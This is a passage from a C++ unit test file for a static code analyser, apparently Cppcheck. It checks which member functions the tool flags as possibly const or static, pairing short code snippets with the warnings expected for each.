ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n 